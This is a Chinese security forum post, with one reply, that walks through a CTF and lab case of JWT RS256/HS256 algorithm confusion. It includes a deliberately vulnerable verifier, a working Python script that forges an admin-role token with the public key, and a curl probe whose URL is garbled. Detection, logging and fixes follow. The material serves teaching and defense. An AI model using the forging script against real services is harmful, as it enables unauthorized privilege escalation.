跳转到帖子

CTF 密码学实战:JWT RS256/HS256 算法混淆的授权验证、留痕与修复

精选回复

发布于

背景

在 CTF Web 密码学题和授权靶场中,JWT 算法混淆是比较典型的一类权限边界问题。场景通常是统一认证服务使用 RS256 签发令牌,业务 API 根据 JWT 头部的 alg 字段自行选择验签方式,并错误地把 RSA 公钥同时当作 HMAC 密钥使用。

这不是 RSA 或 HMAC 本身被破解,而是服务端信任了攻击者可控的算法标识,导致同一份公钥材料跨越了“非对称验签”和“对称认证”两种用途。验证应限定在自建 CTF 环境、授权靶场或明确书面授权的测试系统内。

本文示例使用 ctf-lab.example 和测试账号 trainee-01。不要替换为未授权目标,也不要使用他人的 sub、邮箱或真实凭据。

问题定位

假设低权限测试账号登录后得到一个 JWT,正常头部和载荷如下:

{'alg':'RS256','typ':'JWT','kid':'lab-rsa-01'}
{'sub':'trainee-01','role':'user','iss':'lab-sso','aud':'internal-api','exp':1730000000}

排查时先确认三个事实:

  • 服务端原本是否只应接受 RS256,而不是同时支持 HS256。
  • 验签算法是否直接来自未验证的 header.alg。
  • RS256 公钥是否以相同字节形式被传入 HMAC 验证分支。

公钥公开并不是漏洞。真正的问题是服务端允许客户端把公开材料重新解释为对称密钥。PEM 换行、尾部换行和证书/公钥格式都会影响 HMAC 结果,因此验证时必须使用服务端实际读取的字节内容,不能随意复制后重排。

技术分析

JWT 的签名输入固定为 base64url(header) + '.' + base64url(payload)。RS256 使用 RSA 私钥签名、公钥验签;HS256 则由通信双方使用同一份秘密执行 HMAC-SHA256。

下面是问题代码的简化逻辑。它根据攻击者可控的 alg 选择算法,而且把 publicKey 同时交给两个分支:

const crypto = require('crypto');

function unsafeVerify(token, publicKey) {
  const [h, p, s] = token.split('.');
  const header = JSON.parse(Buffer.from(h, 'base64url'));
  const input = h + '.' + p;

  if (header.alg === 'HS256') {
    const expected = crypto.createHmac('sha256', publicKey)
      .update(input).digest('base64url');
    return expected === s;
  }

  if (header.alg === 'RS256') {
    return crypto.verify(
      'RSA-SHA256', Buffer.from(input), publicKey,
      Buffer.from(s, 'base64url')
    );
  }

  return false;
}

如果攻击者能取得 publicKey 的原始内容,就可以把 alg 改为 HS256,并用该公钥作为 HMAC 密钥生成签名。漏洞服务会认为签名有效,后续若直接信任 role 等声明,就可能越过管理接口的权限边界。

授权环境中的验证步骤

第一步只使用自己的低权限令牌检查结构,不要把完整令牌提交到在线解码网站。可在本地执行:

export TOKEN='替换为授权靶场中的低权限JWT'
python3 - <<'PY'
import os, json, base64

def dec(part):
    part += '=' * (-len(part) % 4)
    return base64.urlsafe_b64decode(part)

h, p, s = os.environ['TOKEN'].split('.')
print('header =', json.loads(dec(h)))
print('payload =', json.loads(dec(p)))
print('signature_bytes =', len(dec(s)))
PY

第二步确认公钥来源。CTF 中可能直接提供 jwt-public.pem,也可能通过受控的 JWKS 地址发布。需要记录 kid、密钥类型 kty、用途 use 和算法 alg,避免误把加密密钥当作签名密钥。

第三步在本地生成概念验证令牌。以下脚本只针对存在上述缺陷的实验服务,载荷使用当前测试账号,并将有效期限制为五分钟:

import base64
import hashlib
import hmac
import json
import time
import uuid


def b64u(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=')


header = {
    'alg': 'HS256',
    'typ': 'JWT',
    'kid': 'lab-rsa-01'
}

payload = {
    'sub': 'trainee-01',
    'role': 'admin',
    'iss': 'lab-sso',
    'aud': 'internal-api',
    'iat': int(time.time()),
    'exp': int(time.time()) + 300,
    'jti': str(uuid.uuid4())
}

with open('jwt-public.pem', 'rb') as f:
    public_key_bytes = f.read()

h = b64u(json.dumps(header, separators=(',', ':')).encode())
p = b64u(json.dumps(payload, separators=(',', ':')).encode())
signing_input = h + b'.' + p
signature = hmac.new(
    public_key_bytes,
    signing_input,
    hashlib.sha256
).digest()

print((signing_input + b'.' + b64u(signature)).decode())

将脚本保存为 forge_lab_token.py,只对靶场的无副作用探测接口进行验证:

TOKEN=$(python3 forge_lab_token.py)
curl --fail-with-body -i \
  -H "Authorization: Bearer $TOKEN" \
   RS256 令牌返回 403,而上述 HS256 令牌返回 200,并且响应明确表明进入了管理员路由,即可确认漏洞。不要用创建用户、删除数据或导出信息等有副作用的接口证明影响。

避免误判

  • 仅看到响应变化不等于验签绕过,应排除缓存、匿名访问和网关降级逻辑。
  • 部分 JWT 库会主动拒绝把 PEM 公钥用于 HMAC。此时返回失败是正常安全行为,不应通过降级依赖版本来“复现”。
  • 如果公钥来自 JWKS,JWK 转换后的 DER/PEM 字节可能与服务端实际 HMAC 输入不同。应通过代码审计确认密钥读取路径,而不是反复猜测。
  • 必须同时检查 iss、aud、exp、nbf 和 kid。只检查签名并不代表令牌验证完整。
  • alg 为 none 属于另一种配置错误,不能与 RS256/HS256 混淆归为同一个验证结果。

日志留痕与检测

应用层应记录验签决策,但不要写入完整 JWT。建议字段包括时间、来源地址、路由、alg、kid、iss、aud、验签结果和失败原因。sub 只能在签名验证通过后记录,否则它仍是攻击者可控字符串。

{
  "event": "jwt_verify",
  "src": "10.10.20.15",
  "route": "/api/admin/ping",
  "alg": "HS256",
  "kid": "lab-rsa-01",
  "result": "deny",
  "reason": "algorithm_not_allowed"
}

对 JSON Lines 格式日志可做快速筛选:

jq -r '
  select(.event == "jwt_verify") |
  select(.alg != "RS256" or .result == "deny") |
  [.ts, .src, .alg, .kid, .route, .reason] |
  @tsv
' auth.jsonl

重点关注短时间内 RS256、HS256、none 连续切换,同一来源枚举多个 kid,以及低权限主体突然访问管理路由。边界网关只能辅助检测,最终拒绝逻辑仍应放在实际验签组件中。

修复建议

核心修复是由服务端配置决定算法,而不是由令牌头部决定。Node.js 使用 jsonwebtoken 时可固定为 RS256:

const fs = require('fs');
const jwt = require('jsonwebtoken');

const publicKey = fs.readFileSync('./jwt-public.pem');

function verifyAccessToken(token) {
  return jwt.verify(token, publicKey, {
    algorithms: ['RS256'],
    issuer: 'lab-sso',
    audience: 'internal-api',
    clockTolerance: 5,
    allowInvalidAsymmetricKeyTypes: false
  });
}
  • 为签名公钥建立明确的 KeyObject 类型,禁止进入 HMAC 分支。
  • 对 kid 使用静态映射或严格 JWKS 解析,禁止将 kid 拼接为文件路径或任意 URL。
  • 校验 iss、aud、exp、nbf,并限制令牌最大生命周期。
  • 管理权限尽量由服务端权限库查询;若必须放入 JWT,应配合短有效期和权限版本号。
  • 修复后轮换签名密钥并使存量令牌失效,但单独轮换密钥不能解决算法混淆。
  • 增加回归测试:合法 RS256 应通过,HS256 公钥签名、alg none、错误 aud、过期令牌和未知 kid 必须拒绝。

总结

这类 CTF 密码学题的关键不是爆破密钥,而是识别算法、密钥类型和权限声明之间的信任边界。验证时应先还原签名输入与密钥读取方式,再用低权限测试账号和无副作用接口完成最小证明。生产修复则要固定算法、隔离密钥用途、完整校验声明,并保留可检索但不泄露令牌内容的审计日志。

代码审计与漏洞定位示意图
代码审计、调用链与关键函数定位示意
网络流量与边界分析示意图
网络请求、日志与边界流量分析示意

这类题的关键不只是把 JWT 头部从 RS256 改成 HS256,还要确认服务端是否同时满足两个条件:信任 token 自带的 alg,并把 RSA 公钥原文当作 HMAC secret 使用。新版库通常已经拦截了这种密钥类型混用,所以复现时最好先确认依赖版本和实际验签路径,不要只看 payload 是否能解码。

修复上建议把“算法、密钥、业务声明”一起固定,不能仅依赖默认参数。例如 Node.js:

const claims = jwt.verify(token, publicKey, {
  algorithms: ['RS256'],
  issuer: 'auth.example',
  audience: 'api.example',
  clockTolerance: 5
});

if (claims.role !== 'admin') {
  throw new Error('insufficient privilege');
}

如果同时支持 HS256 和 RS256,不要让它们共用同一个验证入口。应先根据可信配置选择验证器,而不是根据未验签的 header 动态决定密钥;kid 也只能映射到预置 key ID,不能直接拼文件路径或 URL。

留痕时不建议记录完整 JWT,避免 token 二次泄漏。可以记录 token 的 SHA-256 指纹、header 中的 alg/kid/typ、验签失败原因,以及 iss/aud/sub/jti 等必要字段:

const fingerprint = crypto
  .createHash('sha256')
  .update(token)
  .digest('hex');

logger.warn({
  event: 'jwt_verify_failed',
  token_sha256: fingerprint,
  alg: header.alg,
  kid: header.kid,
  reason: err.name,
  remote_ip: req.ip
});

回归测试至少覆盖:alg=none、RS256 改 HS256、空签名、未知 kid、过期 exp、未来 nbf、错误 iss/aud。其中算法混淆用例应明确断言验签失败,而不是只断言接口返回 401,这样才能避免后续中间件改动把漏洞重新引入。

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。

SiteMap HACKHAT © 2026 All rights reserved.